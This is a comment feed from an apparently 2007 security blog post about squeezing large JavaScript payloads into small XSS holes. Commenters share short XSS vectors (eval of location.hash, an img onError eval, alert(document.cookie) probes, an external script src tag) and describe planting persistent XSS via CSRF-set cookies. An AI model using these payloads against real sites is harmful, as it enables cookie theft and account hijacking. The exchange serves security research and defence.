Comments on: Playing in Large http://www.gnucitizen.org/blog/playing-in-large/ Information Security Think Tank Sun, 23 Nov 2008 13:08:50 +0000 http://wordpress.org/?v=2.6.3 By: thornmaker http://www.gnucitizen.org/blog/playing-in-large/#comment-53507 thornmaker Fri, 28 Sep 2007 20:28:14 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-53507 #0={}; is a valid javascript statement. This means that you can add 0={}; after the hash which allows your XSS injection to leave of the .substr(1) part, e.g. ">eval(location.hash) #0={}; is a valid javascript statement. This means that you can add 0={}; after the hash which allows your XSS injection to leave of the .substr(1) part, e.g. “>eval(location.hash)

]]> By: One Drop on A Spider Web | GNUCITIZEN http://www.gnucitizen.org/blog/playing-in-large/#comment-31611 One Drop on A Spider Web | GNUCITIZEN Mon, 25 Jun 2007 14:56:51 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-31611 [...] 6th February 2007, I’ve published an article titled Playing in Large, which discusses various ways of injecting large JavaScript payloads into tiny XSS holes. The [...] [...] 6th February 2007, I’ve published an article titled Playing in Large, which discusses various ways of injecting large JavaScript payloads into tiny XSS holes. The [...]

]]> By: pdp http://www.gnucitizen.org/blog/playing-in-large/#comment-3667 pdp Fri, 09 Feb 2007 09:23:12 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3667 Yes, you can do quite virtually inject JavaScript into everything from the DOM. I provided a simple example so everyone understands the concept. Interesting thoughts all around. Yes, you can do quite virtually inject JavaScript into everything from the DOM. I provided a simple example so everyone understands the concept. Interesting thoughts all around.

]]> By: Acidus http://www.gnucitizen.org/blog/playing-in-large/#comment-3659 Acidus Fri, 09 Feb 2007 08:54:46 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3659 Great article and good discussion all around. Just a couple of things: -You can use setInterval instead of eval or setTimeout. Downsides are it's one character longer and you need to have some code to turn it off when it runs. However, if they are filtering, its good in a pinch -I know this is simpled for example, but remember not focus too much on "><script... attacks. You are attacking a known site, you know which tags the XSS is reflected in. Look for tag attributes that will execute script. It depends, but a simple "onfocus=eval... could do the trick in less space. There are literally thousands of places in the DOM where JavaScript can execute, and only 2 of them are img+onerror and script. Trust me, commerical vendors are doing this :-). Great article and good discussion all around.

Just a couple of things:

-You can use setInterval instead of eval or setTimeout. Downsides are it’s one character longer and you need to have some code to turn it off when it runs. However, if they are filtering, its good in a pinch

-I know this is simpled for example, but remember not focus too much on “><script… attacks. You are attacking a known site, you know which tags the XSS is reflected in. Look for tag attributes that will execute script. It depends, but a simple “onfocus=eval… could do the trick in less space. There are literally thousands of places in the DOM where JavaScript can execute, and only 2 of them are img+onerror and script. Trust me, commerical vendors are doing this :-).

]]> By: MustLive http://www.gnucitizen.org/blog/playing-in-large/#comment-3611 MustLive Thu, 08 Feb 2007 20:02:06 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3611 Guys, you may use simple (without comment tag): "> It is only 46 characters. When you attacking through iframe you don't need to care about commenting some ending html code. In my practice of social security audits, I dealt with such cases with CSRF. For example I found a hole, where some data from form (from some fields) was save in cookie. And it was appear on site's pages (from cookie). So when you put XSS code to form's fields - to cookie - via CSRF, than you have XSS attacked the visitor of that site. It is persistent XSS ;-). P.S. Nice article, Pdp. I am also using such short XSS sting in my own practice of security audit. Because sometime you need to limit yourself in length of XSS string (because of server restriction). For example, when I need to show site' owner, that his site is vulnerable, and I have limited XSS payload string I use such payloads: <pre><code>">alert(document.cookie) 41 chars ">alert("XSS") 31 chars Or such (if quotes is filtered): ">alert(/XSS/) 31 chars Or the shortest one: ">alert(1) 27 chars</code></pre> Guys, you may use simple (without comment tag): “>
It is only 46 characters. When you attacking through iframe you don’t need to care about commenting some ending html code.

In my practice of social security audits, I dealt with such cases with CSRF. For example I found a hole, where some data from form (from some fields) was save in cookie. And it was appear on site’s pages (from cookie). So when you put XSS code to form’s fields - to cookie - via CSRF, than you have XSS attacked the visitor of that site. It is persistent XSS ;-).

P.S.

Nice article, Pdp. I am also using such short XSS sting in my own practice of security audit. Because sometime you need to limit yourself in length of XSS string (because of server restriction).

For example, when I need to show site’ owner, that his site is vulnerable, and I have limited XSS payload string I use such payloads:

">alert(document.cookie)
41 chars
">alert("XSS")
31 chars
Or such (if quotes is filtered):
">alert(/XSS/)
31 chars
Or the shortest one:
">alert(1)
27 chars
]]> By: pdp http://www.gnucitizen.org/blog/playing-in-large/#comment-3605 pdp Thu, 08 Feb 2007 18:28:46 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3605 neat :) neat :)

]]> By: beNi http://www.gnucitizen.org/blog/playing-in-large/#comment-3586 beNi Thu, 08 Feb 2007 15:12:12 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3586 hey pdp, nice article. this is even smaller (51 characters) <pre><code>'"><img src=1 onError=eval(location.substr(92)><!--</code></pre> cheers beNi hey pdp, nice article.

this is even smaller (51 characters)

'"><img src=1 onError=eval(location.substr(92)><!--

cheers beNi

]]> By: pdp http://www.gnucitizen.org/blog/playing-in-large/#comment-3514 pdp Wed, 07 Feb 2007 18:34:52 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3514 They should by default. This article describes what to do when they don't. They should by default. This article describes what to do when they don’t.

]]> By: GE http://www.gnucitizen.org/blog/playing-in-large/#comment-3509 GE Wed, 07 Feb 2007 17:30:28 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3509 So this seems to just reinforce the idea that developers must remember not to trust the data coming from the client. From each of the examples, if I validate the input to filter out " So this seems to just reinforce the idea that developers must remember not to trust the data coming from the client. From each of the examples, if I validate the input to filter out “

]]> By: pdp http://www.gnucitizen.org/blog/playing-in-large/#comment-3476 pdp Wed, 07 Feb 2007 07:47:30 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3476 Kishor, thanks for the comment. I was thinking to put this in but then I thought that I will get quickly out of scope describing why this thing works. So I decided to go with the KISS principle. Anyway, good stuff. Kishor, thanks for the comment. I was thinking to put this in but then I thought that I will get quickly out of scope describing why this thing works. So I decided to go with the KISS principle.

Anyway, good stuff.

]]> By: Kishor http://www.gnucitizen.org/blog/playing-in-large/#comment-3471 Kishor Wed, 07 Feb 2007 06:10:37 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3471 That was a really nice technique pdp. Therefore I decided to save more bytes for you. You might already know that <strong></script></strong> tag is not required in most of the cases. Hence <pre><code><body> <script src=http://localhost/script3.js > <!– WAHTEVER </body></code></pre> Will still result in script getting executed. Although it requires that src attribute be present. Overall, this is larger than your vector by 2 bytes (which is not good), but with tinyurl, maybe it gets reduced further. But when src attributes are filtered by url white list, your technique still works and this one fails. That was a really nice technique pdp.

Therefore I decided to save more bytes for you.
You might already know that </script> tag is not required in most of the cases.

Hence

<body>
<script src=http://localhost/script3.js > <!–
WAHTEVER
</body>

Will still result in script getting executed. Although it requires that src attribute be present.

Overall, this is larger than your vector by 2 bytes (which is not good), but with tinyurl, maybe it gets reduced further. But when src attributes are filtered by url white list, your technique still works and this one fails.

]]> By: Joe http://www.gnucitizen.org/blog/playing-in-large/#comment-3423 Joe Tue, 06 Feb 2007 16:41:22 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3423 pdp, I see, thanks. I though you were saying you could use CSRF to do a set-cookie: foo (Like CRLF) My bad :) Again, interesting article and food for thought! -Joe pdp,

I see, thanks.

I though you were saying you could use CSRF to do a set-cookie: foo

(Like CRLF)

My bad :)

Again, interesting article and food for thought!

-Joe

]]> By: pdp http://www.gnucitizen.org/blog/playing-in-large/#comment-3422 pdp Tue, 06 Feb 2007 16:33:53 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3422 Joe, I am using hypothetical scenario for this article. However, setting cookies with CSRF are possible in situations where the application you are targeting reflects the data you are sending as cookies. It is confusing, I know. Here is an example. Let's say that the application ask you for the First and Last name and then stores that information on the server but also on the client (cookie) to eliminate the need for further requests send to the server. The attacker needs to craft a CSRF to set the name for the user and as such setting the cookie to whatever value he/she may need. Joe, I am using hypothetical scenario for this article. However, setting cookies with CSRF are possible in situations where the application you are targeting reflects the data you are sending as cookies. It is confusing, I know. Here is an example.

Let’s say that the application ask you for the First and Last name and then stores that information on the server but also on the client (cookie) to eliminate the need for further requests send to the server. The attacker needs to craft a CSRF to set the name for the user and as such setting the cookie to whatever value he/she may need.

]]> By: Joe http://www.gnucitizen.org/blog/playing-in-large/#comment-3421 Joe Tue, 06 Feb 2007 16:26:11 +0000 http://www.gnucitizen.org/blog/playing-in-large#comment-3421 Hiya, Nice article. May seem like a stupid question but how do you set cookies with CSRF?? I know it can be done with CRLF but didnt know CSRF could do it? Cheers, Joe Hiya,

Nice article. May seem like a stupid question but how do you set cookies with CSRF??

I know it can be done with CRLF but didnt know CSRF could do it?

Cheers,
Joe

]]>